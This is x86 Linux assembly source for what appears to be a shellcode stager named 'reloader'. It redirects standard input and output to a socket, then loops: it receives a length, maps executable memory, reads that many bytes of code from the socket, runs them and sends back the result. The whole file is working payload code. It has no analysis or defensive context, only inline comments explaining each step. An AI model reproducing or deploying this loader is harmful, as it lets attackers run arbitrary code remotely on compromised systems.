.globl main main: call test_listen mov %eax, %esi # # Logic: # # 1) While (1) # a) recv the length of the code to execute (recv(fd, buf, 4, MSG_WAITALL);) # b) mmap anonymous memory for the length of the code to be read in # c) recv(fd, mmap'dmemory, code_length, MSG_WAITALL); # d) call mmap'd memory # e) unmap memory # f) continue loop # # Expects fd on esi # reloader: jmp startup recv_fd: lea 4(%esp), %ecx # socket structure lea 102(%edi), %eax # socket syscall lea 10(%edi), %ebx # recv call int $0x80 ret write_fd: lea 4(%esp), %ecx # socket structure lea 102(%edi), %eax # socket syscall lea 9(%edi), %ebx # send call int $0x80 ret startup: xor %edi, %edi # zero edi sub $0x8, %esp # allocate 8 bytes of stack space mov %esp, %ebp # save the pointer to these two variables in ebp get_pc: jmp get_pc_bnc # jump forward past the middle get_pc_middle: jmp get_pc_end # jump to the end get_pc_bnc: call get_pc_middle # call backwards to push pc onto the stack get_pc_end: pop %eax # pop the vma of get_pc_end into eax get_absolute_read_write: mov %eax, (%ebp) # set the addr in the first stack variable mov %eax, 4(%ebp) # set the addr in the second stack variable xor %ebx, %ebx # zero ebx movb $(get_pc_end - write_fd), %bl # set the low byte of ebx to the offset from get_pc_end to write_fd sub %ebx, (%ebp) # subtract this offset from the addr of get_pc_end mov $(get_pc_end - recv_fd), %bl # set the low byte of ebx to the offset from get_pc_end to recv_fd sub %ebx, 4(%ebp) # subtract this offset from the addr of get_pc_end close_std_fds: xor %ebx, %ebx # zero ebx mov $0x6, %al # set eax to close int $0x80 # interrupt inc %ebx # increment ebx to 1 mov $0x6, %al # set eax to close int $0x80 # interrupt inc %ebx # increment ebx to 2 mov $0x6, %al # set eax to close int $0x80 # interrupt dup_std_fds: mov %esi, %ebx # set ebx to the fd lea 1(%edi), %ecx # set ecx to 1 lea 63(%edi), %eax # set eax to dup2 int $0x80 # interrupt dec %ecx # decrement ecx to 0 lea 63(%edi), %eax # set eax to dup2 int $0x80 # interrupt recv_loop: recv_length: sub $0x4, %esp # allocate 4 bytes of stack space to hold the length to read lea 255(%edi), %ebx # set ebx to 255 inc %ebx # increment it once to 256 push %ebx # push flags of MSG_WAITALL lea 4(%edi), %ebx # set ebx to 4 push %ebx # push 4 bytes to read lea 8(%esp), %ebx # load the address of esp+8 into ebx (points to buffer to hold length) push %ebx # push the address to read into push %esi # push the client fd call recv_fd # call recv() add $0x10, %esp # restore 16 bytes to the stack cmp %edi, %eax # test eax with 0 jle recv_loop_exit # if eax is less than zero or equal to, we failed pop %edx # save the number of bytes to read in edx cmp %edi, %edx # compare edx with zero jle recv_loop_exit # if it's less than or equal to zero, break out mmap_file: push %edi # push the offset to mmap, 0 xor %eax, %eax # zero eax dec %eax # set eax to -1 push %eax # push the fd, -1 lea 34(%edi), %ebx # set ebx to 34 push %ebx # push flags, MAP_PRIVATE | MAP_ANON lea 7(%edi), %ebx # set ebx to 7 push %ebx # push prot, PROT_WRITE | PROT_READ | PROT_EXEC push %edx # push length read in from recv push %edi # push null addr lea 90(%edi), %eax # mmap syscall mov %esp, %ebx # set ebx to the pointer to the arguments int $0x80 # interrupt recv_from_socket: push %eax # save eax lea 255(%edi), %ebx # set ebx to 255 inc %ebx # increment to 256 push %ebx # push MSG_WAITALL push %edx # push length from previous recv push %eax # push buffer from mmap push %esi # push fd call recv_fd # call recv add $0x10, %esp # restore 16 bytes to the stack cmp %edi, %eax # test eax with 0 jle recv_loop_exit # if it's less than zero, we failed pop %ecx # pop the address of the mapped buffer into ecx call_buffer: push (%ebp) # push the address of write_fd push 4(%ebp) # push the address of recv_fd push %esi # push fd as first argument call *%ecx # call the custom code add $0xc, %esp # restore 12 bytes to the stack write_return: push %ecx # save buffer returned from mmap push %eax # push the return value mov %esp, %ebx # save the pointer to the return value in ebx push %edi # push no flags lea 4(%edi), %ecx # set ecx to 4 push %ecx # push 4 bytes to write push %ebx # push the pointer to the return value push %esi # push the fd call write_fd # call write() add $0x14, %esp # restore 20 bytes to the stack pop %eax # get buffer returned from mmap munmap_file: mov %eax, %ebx # set ebx to the address returned from mmap mov %edx, %ecx # set ecx to the length mmap'd lea 91(%edi), %eax # set eax to munmap int $0x80 # interrupt loop_again: jmp recv_loop # jump back through the loop recv_loop_exit: xor %eax, %eax # zero eax inc %eax # set eax to 1, exit int $0x80 # interrupt reloader_end: